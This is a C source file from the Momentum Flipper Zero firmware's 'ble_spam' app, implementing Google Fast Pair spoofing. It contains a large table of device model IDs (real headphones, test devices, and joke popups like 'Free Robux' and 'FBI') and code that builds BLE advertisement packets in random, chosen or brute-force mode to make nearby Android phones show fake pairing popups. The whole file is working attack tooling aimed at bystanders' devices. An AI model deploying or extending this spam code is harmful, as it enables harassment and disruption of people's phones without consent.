Files
Momentum-Firmware/applications/external/ble_spam/protocols/fastpair.c
2023-11-13 22:22:07 +00:00

747 lines
24 KiB
C

#include "fastpair.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const struct {
uint32_t value;
const char* name;
} models[] = {
// Genuine non-production/forgotten (good job Google)
{0x0001F0, "Bisto CSR8670 Dev Board"},
{0x000047, "Arduino 101"},
{0x470000, "Arduino 101 2"},
{0x00000A, "Anti-Spoof Test"},
{0x0A0000, "Anti-Spoof Test 2"},
{0x00000B, "Google Gphones"},
{0x0B0000, "Google Gphones 2"},
{0x0C0000, "Google Gphones 3"},
{0x00000D, "Test 00000D"},
{0x000007, "Android Auto"},
{0x070000, "Android Auto 2"},
{0x000008, "Foocorp Foophones"},
{0x080000, "Foocorp Foophones 2"},
{0x000009, "Test Android TV"},
{0x090000, "Test Android TV 2"},
{0x000035, "Test 000035"},
{0x350000, "Test 000035 2"},
{0x000048, "Fast Pair Headphones"},
{0x480000, "Fast Pair Headphones 2"},
{0x000049, "Fast Pair Headphones 3"},
{0x490000, "Fast Pair Headphones 4"},
{0x001000, "LG HBS1110"},
{0x00B727, "Smart Controller 1"},
{0x01E5CE, "BLE-Phone"},
{0x0200F0, "Goodyear"},
{0x00F7D4, "Smart Setup"},
{0xF00002, "Goodyear"},
{0xF00400, "T10"},
{0x1E89A7, "ATS2833_EVB"},
// Phone setup
{0x00000C, "Google Gphones Transfer"},
{0x0577B1, "Galaxy S23 Ultra"},
{0x05A9BC, "Galaxy S20+"},
// Genuine devices
{0xCD8256, "Bose NC 700"},
{0x0000F0, "Bose QuietComfort 35 II"},
{0xF00000, "Bose QuietComfort 35 II 2"},
{0x821F66, "JBL Flip 6"},
{0xF52494, "JBL Buds Pro"},
{0x718FA4, "JBL Live 300TWS"},
{0x0002F0, "JBL Everest 110GA"},
{0x92BBBD, "Pixel Buds"},
{0x000006, "Google Pixel buds"},
{0x060000, "Google Pixel buds 2"},
{0xD446A7, "Sony XM5"},
{0x2D7A23, "Sony WF-1000XM4"},
{0x0E30C3, "Razer Hammerhead TWS"},
{0x72EF8D, "Razer Hammerhead TWS X"},
{0x72FB00, "Soundcore Spirit Pro GVA"},
{0x0003F0, "LG HBS-835S"},
{0x002000, "AIAIAI TMA-2 (H60)"},
{0x003000, "Libratone Q Adapt On-Ear"},
{0x003001, "Libratone Q Adapt On-Ear 2"},
{0x00A168, "boAt Airdopes 621"},
{0x00AA48, "Jabra Elite 2"},
{0x00AA91, "Beoplay E8 2.0"},
{0x00C95C, "Sony WF-1000X"},
{0x01EEB4, "WH-1000XM4"},
{0x02AA91, "B&O Earset"},
{0x01C95C, "Sony WF-1000X"},
{0x02D815, "ATH-CK1TW"},
{0x035764, "PLT V8200 Series"},
{0x038CC7, "JBL TUNE760NC"},
{0x02DD4F, "JBL TUNE770NC"},
{0x02E2A9, "TCL MOVEAUDIO S200"},
{0x035754, "Plantronics PLT_K2"},
{0x02C95C, "Sony WH-1000XM2"},
{0x038B91, "DENON AH-C830NCW"},
{0x02F637, "JBL LIVE FLEX"},
{0x02D886, "JBL REFLECT MINI NC"},
{0xF00000, "Bose QuietComfort 35 II"},
{0xF00001, "Bose QuietComfort 35 II"},
{0xF00201, "JBL Everest 110GA"},
{0xF00204, "JBL Everest 310GA"},
{0xF00209, "JBL LIVE400BT"},
{0xF00205, "JBL Everest 310GA"},
{0xF00200, "JBL Everest 110GA"},
{0xF00208, "JBL Everest 710GA"},
{0xF00207, "JBL Everest 710GA"},
{0xF00206, "JBL Everest 310GA"},
{0xF0020A, "JBL LIVE400BT"},
{0xF0020B, "JBL LIVE400BT"},
{0xF0020C, "JBL LIVE400BT"},
{0xF00203, "JBL Everest 310GA"},
{0xF00202, "JBL Everest 110GA"},
{0xF00213, "JBL LIVE650BTNC"},
{0xF0020F, "JBL LIVE500BT"},
{0xF0020E, "JBL LIVE500BT"},
{0xF00214, "JBL LIVE650BTNC"},
{0xF00212, "JBL LIVE500BT"},
{0xF0020D, "JBL LIVE400BT"},
{0xF00211, "JBL LIVE500BT"},
{0xF00215, "JBL LIVE650BTNC"},
{0xF00210, "JBL LIVE500BT"},
{0xF00305, "LG HBS-1500"},
{0xF00304, "LG HBS-1010"},
{0xF00308, "LG HBS-1125"},
{0xF00303, "LG HBS-930"},
{0xF00306, "LG HBS-1700"},
{0xF00300, "LG HBS-835S"},
{0xF00309, "LG HBS-2000"},
{0xF00302, "LG HBS-830"},
{0xF00307, "LG HBS-1120"},
{0xF00301, "LG HBS-835"},
{0xF00E97, "JBL VIBE BEAM"},
{0x04ACFC, "JBL WAVE BEAM"},
{0x04AA91, "Beoplay H4"},
{0x04AFB8, "JBL TUNE 720BT"},
{0x05A963, "WONDERBOOM 3"},
{0x05AA91, "B&O Beoplay E6"},
{0x05C452, "JBL LIVE220BT"},
{0x05C95C, "Sony WI-1000X"},
{0x0602F0, "JBL Everest 310GA"},
{0x0603F0, "LG HBS-1700"},
{0x1E8B18, "SRS-XB43"},
{0x1E955B, "WI-1000XM2"},
{0x1EC95C, "Sony WF-SP700N"},
{0x1ED9F9, "JBL WAVE FLEX"},
{0x1EE890, "ATH-CKS30TW WH"},
{0x1EEDF5, "Teufel REAL BLUE TWS 3"},
{0x1F1101, "TAG Heuer Calibre E4 45mm"},
{0x1F181A, "LinkBuds S"},
{0x1F2E13, "Jabra Elite 2"},
{0x1F4589, "Jabra Elite 2"},
{0x1F4627, "SRS-XG300"},
{0x1F5865, "boAt Airdopes 441"},
{0x1FBB50, "WF-C700N"},
{0x1FC95C, "Sony WF-SP700N"},
{0x1FE765, "TONE-TF7Q"},
{0x1FF8FA, "JBL REFLECT MINI NC"},
{0x201C7C, "SUMMIT"},
{0x202B3D, "Amazfit PowerBuds"},
{0x20330C, "SRS-XB33"},
{0x003B41, "M&D MW65"},
{0x003D8A, "Cleer FLOW II"},
{0x005BC3, "Panasonic RP-HD610N"},
{0x008F7D, "soundcore Glow Mini"},
{0x00FA72, "Pioneer SE-MS9BN"},
{0x0100F0, "Bose QuietComfort 35 II"},
{0x011242, "Nirvana Ion"},
{0x013D8A, "Cleer EDGE Voice"},
{0x01AA91, "Beoplay H9 3rd Generation"},
{0x038F16, "Beats Studio Buds"},
{0x039F8F, "Michael Kors Darci 5e"},
{0x03AA91, "B&O Beoplay H8i"},
{0x03B716, "YY2963"},
{0x03C95C, "Sony WH-1000XM2"},
{0x03C99C, "MOTO BUDS 135"},
{0x03F5D4, "Writing Account Key"},
{0x045754, "Plantronics PLT_K2"},
{0x045764, "PLT V8200 Series"},
{0x04C95C, "Sony WI-1000X"},
{0x050F0C, "Major III Voice"},
{0x052CC7, "MINOR III"},
{0x057802, "TicWatch Pro 5"},
{0x0582FD, "Pixel Buds"},
{0x058D08, "WH-1000XM4"},
{0x06AE20, "Galaxy S21 5G"},
{0x06C197, "OPPO Enco Air3 Pro"},
{0x06C95C, "Sony WH-1000XM2"},
{0x06D8FC, "soundcore Liberty 4 NC"},
{0x0744B6, "Technics EAH-AZ60M2"},
{0x07A41C, "WF-C700N"},
{0x07C95C, "Sony WH-1000XM2"},
{0x07F426, "Nest Hub Max"},
{0x0102F0, "JBL Everest 110GA - Gun Metal"},
{0x0202F0, "JBL Everest 110GA - Silver"},
{0x0302F0, "JBL Everest 310GA - Brown"},
{0x0402F0, "JBL Everest 310GA - Gun Metal"},
{0x0502F0, "JBL Everest 310GA - Silver"},
{0x0702F0, "JBL Everest 710GA - Gun Metal"},
{0x0802F0, "JBL Everest 710GA - Silver"},
{0x054B2D, "JBL TUNE125TWS"},
{0x0660D7, "JBL LIVE770NC"},
{0x0103F0, "LG HBS-835"},
{0x0203F0, "LG HBS-830"},
{0x0303F0, "LG HBS-930"},
{0x0403F0, "LG HBS-1010"},
{0x0503F0, "LG HBS-1500"},
{0x0703F0, "LG HBS-1120"},
{0x0803F0, "LG HBS-1125"},
{0x0903F0, "LG HBS-2000"},
{0x0102F0, "JBL Everest 110GA"},
{0x0202F0, "JBL Everest 110GA"},
{0x0302F0, "JBL Everest 310GA"},
{0x0402F0, "JBL Everest 310GA"},
{0x0502F0, "JBL Everest 310GA"},
{0x060000, "Google Pixel Buds"},
{0x070000, "Android Auto"},
{0x0702F0, "JBL Everest 710GA"},
{0x071C74, "JBL Flip 6"},
{0x080000, "Foocorp Foophones"},
{0x0802F0, "JBL Everest 710GA"},
{0x090000, "Test Android TV"},
{0x0A0000, "Test 00000a - Anti-Spoofing"},
{0x0B0000, "Google Gphones"},
{0x0C0000, "Google Gphones"},
{0x0DC6BF, "My Awesome Device II"},
{0x0DC95C, "Sony WH-1000XM3"},
{0x0DEC2B, "Emporio Armani EA Connected"},
{0x0E138D, "WF-SP800N"},
{0x0EC95C, "Sony WI-C600N"},
{0x0ECE95, "Philips TAT3508"},
{0x0F0993, "COUMI TWS-834A"},
{0x0F1B8D, "JBL VIBE BEAM"},
{0x0F232A, "JBL TUNE BUDS"},
{0x0F2D16, "WH-CH520"},
{0x20A19B, "WF-SP800N"},
{0x20C95C, "Sony WF-SP700N"},
{0x20CC2C, "SRS-XB43"},
{0x213C8C, "DIZO Wireless Power"},
{0x21521D, "boAt Rockerz 355 (Green)"},
{0x21A04E, "oraimo FreePods Pro"},
{0x2D7A23, "WF-1000XM4"},
{0x350000, "Test 000035"},
{0x470000, "Arduino 101"},
{0x480000, "Fast Pair Headphones"},
{0x490000, "Fast Pair Headphones"},
{0x5BA9B5, "WF-SP800N"},
{0x5BACD6, "Bose QC Ultra Earbuds"},
{0x5BD6C9, "JBL TUNE225TWS"},
{0x5BE3D4, "JBL Flip 6"},
{0x5C0206, "UA | JBL TWS STREAK"},
{0x5C0C84, "JBL TUNE225TWS"},
{0x5C4833, "WH-CH720N"},
{0x5C4A7E, "LG HBS-XL7"},
{0x5C55E7, "TCL MOVEAUDIO S200"},
{0x5C7CDC, "WH-1000XM5"},
{0x5C8AA5, "JBL LIVE220BT"},
{0x5CC900, "Sony WF-1000X"},
{0x5CC901, "Sony WF-1000X"},
{0x5CC902, "Sony WH-1000XM2"},
{0x5CC903, "Sony WH-1000XM2"},
{0x5CC904, "Sony WI-1000X"},
{0x5CC905, "Sony WI-1000X"},
{0x5CC906, "Sony WH-1000XM2"},
{0x5CC907, "Sony WH-1000XM2"},
{0x5CC908, "Sony WI-1000X"},
{0x5CC909, "Sony WI-1000X"},
{0x5CC90A, "Sony WH-1000XM3"},
{0x5CC90B, "Sony WH-1000XM3"},
{0x5CC90C, "Sony WH-1000XM3"},
{0x5CC90D, "Sony WH-1000XM3"},
{0x5CC90E, "Sony WI-C600N"},
{0x5CC90F, "Sony WI-C600N"},
{0x5CC910, "Sony WI-C600N"},
{0x5CC911, "Sony WI-C600N"},
{0x5CC912, "Sony WI-C600N"},
{0x5CC913, "Sony WI-C600N"},
{0x5CC914, "Sony WI-SP600N"},
{0x5CC915, "Sony WI-SP600N"},
{0x5CC916, "Sony WI-SP600N"},
{0x5CC917, "Sony WI-SP600N"},
{0x5CC918, "Sony WI-SP600N"},
{0x5CC919, "Sony WI-SP600N"},
{0x5CC91A, "Sony WI-SP600N"},
{0x5CC91B, "Sony WI-SP600N"},
{0x5CC91C, "Sony WI-SP600N"},
{0x5CC91D, "Sony WI-SP600N"},
{0x5CC91E, "Sony WF-SP700N"},
{0x5CC91F, "Sony WF-SP700N"},
{0x5CC920, "Sony WF-SP700N"},
{0x5CC921, "Sony WF-SP700N"},
{0x5CC922, "Sony WF-SP700N"},
{0x5CC923, "Sony WF-SP700N"},
{0x5CC924, "Sony WF-SP700N"},
{0x5CC925, "Sony WF-SP700N"},
{0x5CC926, "Sony WF-SP700N"},
{0x5CC927, "Sony WF-SP700N"},
{0x5CC928, "Sony WH-H900N"},
{0x5CC929, "Sony WH-H900N"},
{0x5CC92A, "Sony WH-H900N"},
{0x5CC92B, "Sony WH-H900N"},
{0x5CC92C, "Sony WH-H900N"},
{0x5CC92D, "Sony WH-H900N"},
{0x5CC92E, "Sony WH-H900N"},
{0x5CC92F, "Sony WH-H900N"},
{0x5CC930, "Sony WH-H900N"},
{0x5CC931, "Sony WH-H900N"},
{0x5CC932, "Sony WH-CH700N"},
{0x5CC933, "Sony WH-CH700N"},
{0x5CC934, "Sony WH-CH700N"},
{0x5CC935, "Sony WH-CH700N"},
{0x5CC936, "Sony WH-CH700N"},
{0x5CC937, "Sony WH-CH700N"},
{0x5CC938, "Sony WF-1000XM3"},
{0x5CC939, "Sony WF-1000XM3"},
{0x5CC93A, "Sony WF-1000XM3"},
{0x5CC93B, "Sony WF-1000XM3"},
{0x5CC93C, "Sony WH-XB700"},
{0x5CC93D, "Sony WH-XB700"},
{0x5CC93E, "Sony WH-XB700"},
{0x5CC93F, "Sony WH-XB700"},
{0x5CC940, "Sony WH-XB900N"},
{0x5CC941, "Sony WH-XB900N"},
{0x5CC942, "Sony WH-XB900N"},
{0x5CC943, "Sony WH-XB900N"},
{0x5CC944, "Sony WH-XB900N"},
{0x5CC945, "Sony WH-XB900N"},
{0x5CEE3C, "Fitbit Charge 4"},
{0x6AD226, "TicWatch Pro 3"},
{0x6B1C64, "Pixel Buds"},
{0x6B8C65, "oraimo FreePods 4"},
{0x6B9304, "Nokia SB-101"},
{0x6BA5C3, "Jabra Elite 4"},
{0x6C42C0, "TWS05"},
{0x6C4DE5, "JBL LIVE PRO 2 TWS"},
{0x718FA4, "JBL LIVE300TWS"},
{0x89BAD5, "Galaxy A23 5G"},
{0x8A31B7, "Bose QC Ultra Headphones"},
{0x8A3D00, "Cleer FLOW Ⅱ"},
{0x8A3D01, "Cleer EDGE Voice"},
{0x8A8F23, "WF-1000XM5"},
{0x8AADAE, "JLab GO Work 2"},
{0x8B0A91, "Jabra Elite 5"},
{0x8B5A7B, "TicWatch Pro 3 GPS"},
{0x8B66AB, "Pixel Buds A-Series"},
{0x8BB0A0, "Nokia Solo Bud+"},
{0x8BF79A, "Oladance Whisper E1"},
{0x8C07D2, "Jabra Elite 4 Active"},
{0x8C1706, "YY7861E"},
{0x8C4236, "GLIDiC mameBuds"},
{0x8C6B6A, "realme Buds Air 3S"},
{0x8CAD81, "KENWOOD WS-A1"},
{0x8CB05C, "JBL LIVE PRO+ TWS"},
{0x8CD10F, "realme Buds Air Pro"},
{0x8D13B9, "BLE-TWS"},
{0x8D16EA, "Galaxy M14 5G"},
{0x8D5B67, "Pixel 90c"},
{0x8E14D7, "LG-TONE-TFP8"},
{0x8E1996, "Galaxy A24 5g"},
{0x8E4666, "Oladance Wearable Stereo"},
{0x8E5550, "boAt Airdopes 511v2"},
{0x9101F0, "Jabra Elite 2"},
{0x9128CB, "TCL MOVEAUDIO Neo"},
{0x913B0C, "YH-E700B"},
{0x915CFA, "Galaxy A14"},
{0x9171BE, "Jabra Evolve2 65 Flex"},
{0x917E46, "LinkBuds"},
{0x91AA00, "Beoplay E8 2.0"},
{0x91AA01, "Beoplay H9 3rd Generation"},
{0x91AA02, "B&O Earset"},
{0x91AA03, "B&O Beoplay H8i"},
{0x91AA04, "Beoplay H4"},
{0x91AA05, "B&O Beoplay E6"},
{0x91BD38, "LG HBS-FL7"},
{0x91C813, "JBL TUNE770NC"},
{0x91DABC, "SRS-XB33"},
{0x92255E, "LG-TONE-FP6"},
{0x989D0A, "Set up your new Pixel 2"},
{0x9939BC, "ATH-SQ1TW"},
{0x994374, "EDIFIER W320TN"},
{0x997B4A, "UA | JBL True Wireless Flash X"},
{0x99C87B, "WH-H810 (h.ear)"},
{0x99D7EA, "oraimo OpenCirclet"},
{0x99F098, "Galaxy S22 Ultra"},
{0x9A408A, "MOTO BUDS 065"},
{0x9A9BDD, "WH-XB910N"},
{0x9ADB11, "Pixel Buds Pro"},
{0x9AEEA4, "LG HBS-FN4"},
{0x9B7339, "AKG N9 Hybrid"},
{0x9B735A, "JBL RFL FLOW PRO"},
{0x9B9872, "Hyundai"},
{0x9BC64D, "JBL TUNE225TWS"},
{0x9BE931, "WI-C100"},
{0x9C0AF7, "JBL VIBE BUDS"},
{0x9C3997, "ATH-M50xBT2"},
{0x9C4058, "JBL WAVE FLEX"},
{0x9C6BC0, "LinkBuds S"},
{0x9C888B, "WH-H910N (h.ear)"},
{0x9C98DB, "JBL TUNE225TWS"},
{0x9CA277, "YY2963"},
{0x9CB5F3, "WH-1000XM5"},
{0x9CB881, "soundcore Motion 300"},
{0x9CD0F3, "LG HBS-TFN7"},
{0x9CE3C7, "EDIFIER NeoBuds Pro 2"},
{0x9CEFD1, "SRS-XG500"},
{0x9CF08F, "JLab Epic Air ANC"},
{0x9D00A6, "Urbanears Juno"},
{0x9D7D42, "Galaxy S20"},
{0x9DB896, "Your BMW"},
{0xA7E52B, "Bose NC 700 Headphones"},
{0xA7EF76, "JBL CLUB PRO+ TWS"},
{0xA8001A, "JBL CLUB ONE"},
{0xA83C10, "adidas Z.N.E. 01"},
{0xA8658F, "ROCKSTER GO"},
{0xA8845A, "oraimo FreePods 4"},
{0xA88B69, "WF-SP800N"},
{0xA8A00E, "Nokia CB-201"},
{0xA8A72A, "JBL LIVE670NC"},
{0xA8C636, "JBL TUNE660NC"},
{0xA8CAAD, "Galaxy F04"},
{0xA8E353, "JBL TUNE BEAM"},
{0xA8F96D, "JBL ENDURANCE RUN 2 WIRELESS"},
{0xA90358, "JBL LIVE220BT"},
{0xA92498, "JBL WAVE BUDS"},
{0xA9394A, "JBL TUNE230NC TWS"},
{0xC6936A, "JBL LIVE PRO+ TWS"},
{0xC69AFD, "WF-H800 (h.ear)"},
{0xC6ABEA, "UA | JBL True Wireless Flash X"},
{0xC6EC5F, "SRS-XE300"},
{0xC7736C, "Philips PH805"},
{0xC79B91, "Jabra Evolve2 75"},
{0xC7A267, "Fake Test Mouse"},
{0xC7D620, "JBL Pulse 5"},
{0xC7FBCC, "JBL VIBE FLEX"},
{0xC8162A, "LinkBuds S"},
{0xC85D7A, "JBL ENDURANCE PEAK II"},
{0xC8777E, "Jaybird Vista 2"},
{0xC878AA, "SRS-XV800"},
{0xC8C641, "Redmi Buds 4 Lite"},
{0xC8D335, "WF-1000XM4"},
{0xC8E228, "Pixel Buds Pro"},
{0xC9186B, "WF-1000XM4"},
{0xC9836A, "JBL Xtreme 4"},
{0xCA7030, "ATH-TWX7"},
{0xCAB6B8, "ATH-M20xBT"},
{0xCAF511, "Jaybird Vista 2"},
{0xCB093B, "Urbanears Juno"},
{0xCB529D, "soundcore Glow"},
{0xCC438E, "WH-1000XM4"},
{0xCC5F29, "JBL TUNE660NC"},
{0xCC754F, "YY2963"},
{0xCC93A5, "Sync"},
{0xCCBB7E, "MIDDLETON"},
{0xCD8256, "Bose NC 700 Headphones"},
{0xD446A7, "WH-1000XM5"},
{0xD5A59E, "Jabra Elite Speaker"},
{0xD5B5F7, "MOTO BUDS 600 ANC"},
{0xD5C6CE, "realme TechLife Buds T100"},
{0xD654CD, "JBL Xtreme 4"},
{0xD65F4E, "Philips Fidelio T2"},
{0xD69B2B, "TONE-T80S"},
{0xD6C195, "LG HBS-SL5"},
{0xD6E870, "Beoplay EX"},
{0xD6EE84, "Rockerz 255 Max"},
{0xD7102F, "ATH-SQ1TW SVN"},
{0xD7E3EB, "Cleer HALO"},
{0xD8058C, "MOTIF II A.N.C."},
{0xD820EA, "WH-XB910N"},
{0xD87A3E, "Pixel Buds Pro"},
{0xD8F3BA, "WH-1000XM5"},
{0xD8F4E8, "realme Buds T100"},
{0xD90617, "Redmi Buds 4 Active"},
{0xD933A7, "JBL ENDURANCE PEAK 3"},
{0xD9414F, "JBL SOUNDGEAR SENSE"},
{0xD97EBA, "JBL TUNE125TWS"},
{0xD9964B, "JBL TUNE670NC"},
{0xDA0F83, "SPACE"},
{0xDA4577, "Jabra Elite 4 Active"},
{0xDA5200, "blackbox TRIP II"},
{0xDAD3A6, "Jabra Elite 10"},
{0xDADE43, "Chromebox"},
{0xDAE096, "adidas RPT-02 SOL"},
{0xDB8AC7, "LG TONE-FREE"},
{0xDBE5B1, "WF-1000XM4"},
{0xDC5249, "WH-H810 (h.ear)"},
{0xDCF33C, "JBL REFLECT MINI NC"},
{0xDD4EC0, "OPPO Enco Air3 Pro"},
{0xDE215D, "WF-C500"},
{0xDE577F, "Teufel AIRY TWS 2"},
{0xDEC04C, "SUMMIT"},
{0xDEDD6F, "soundcore Space One"},
{0xDEE8C0, "Ear (2)"},
{0xDEEA86, "Xiaomi Buds 4 Pro"},
{0xDEF234, "WH-H810 (h.ear)"},
{0xDF01E3, "Sync"},
{0xDF271C, "Big Bang e Gen 3"},
{0xDF42DE, "TAG Heuer Calibre E4 42mm"},
{0xDF4B02, "SRS-XB13"},
{0xDF9BA4, "Bose NC 700 Headphones"},
{0xDFD433, "JBL REFLECT AERO"},
{0xE020C1, "soundcore Motion 300"},
{0xE06116, "LinkBuds S"},
{0xE07634, "OnePlus Buds Z"},
{0xE09172, "JBL TUNE BEAM"},
{0xE4E457, "Galaxy S20 5G"},
{0xE5440B, "TAG Heuer Calibre E4 45mm"},
{0xE57363, "Oladance Wearable Stereo"},
{0xE57B57, "Super Device"},
{0xE5B4B0, "WF-1000XM5"},
{0xE5B91B, "SRS-XB33"},
{0xE5E2E9, "Zone Wireless 2"},
{0xE64613, "JBL WAVE BEAM"},
{0xE64CC6, "Set up your new Pixel 3 XL"},
{0xE69877, "JBL REFLECT AERO"},
{0xE6E37E, "realme Buds Air 5 Pro"},
{0xE6E771, "ATH-CKS50TW"},
{0xE6E8B8, "POCO Pods"},
{0xE750CE, "Jabra Evolve2 75"},
{0xF52494, "JBL LIVE PRO+ TWS"},
// Custom debug popups
{0xD99CA1, "Flipper Zero"},
{0x77FF67, "Free Robux"},
{0xAA187F, "Free VBucks"},
{0xDCE9EA, "Rickroll"},
{0x87B25F, "Animated Rickroll"},
{0xF38C02, "Boykisser"},
{0x1448C9, "BLM"},
{0xD5AB33, "Xtreme"},
{0x0C0B67, "Xtreme Cta"},
{0x13B39D, "Talking Sasquach"},
{0xAA1FE1, "ClownMaster"},
{0x7C6CDB, "Obama"},
{0x005EF9, "Ryanair"},
{0xE2106F, "FBI"},
{0xB37A62, "Tesla"},
};
const uint16_t models_count = COUNT_OF(models);
static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "FastPair";
}
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
uint32_t model;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = models[rand() % models_count].value;
break;
case PayloadModeValue:
model = cfg->model;
break;
case PayloadModeBruteforce:
model = cfg->model = payload->bruteforce.value;
break;
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model >> 0x10) & 0xFF; // Device Model
packet[i++] = (model >> 0x08) & 0xFF; // ...
packet[i++] = (model >> 0x00) & 0xFF; // ...
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*_size = size;
*_packet = packet;
}
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigModel,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigModel:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
item = variable_item_list_add(list, "Model Code", 0, NULL, NULL);
const char* model_name = NULL;
char model_name_buf[9];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
break;
case PayloadModeValue:
for(uint16_t i = 0; i < models_count; i++) {
if(cfg->model == models[i].value) {
model_name = models[i].name;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
model_name = model_name_buf;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
break;
}
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
break;
case models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->model;
payload->bruteforce.size = 3;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->model = models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_fastpair_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint16_t i = 0; i < models_count; i++) {
submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
payload->mode = PayloadModeValue;
cfg->model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_fastpair_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}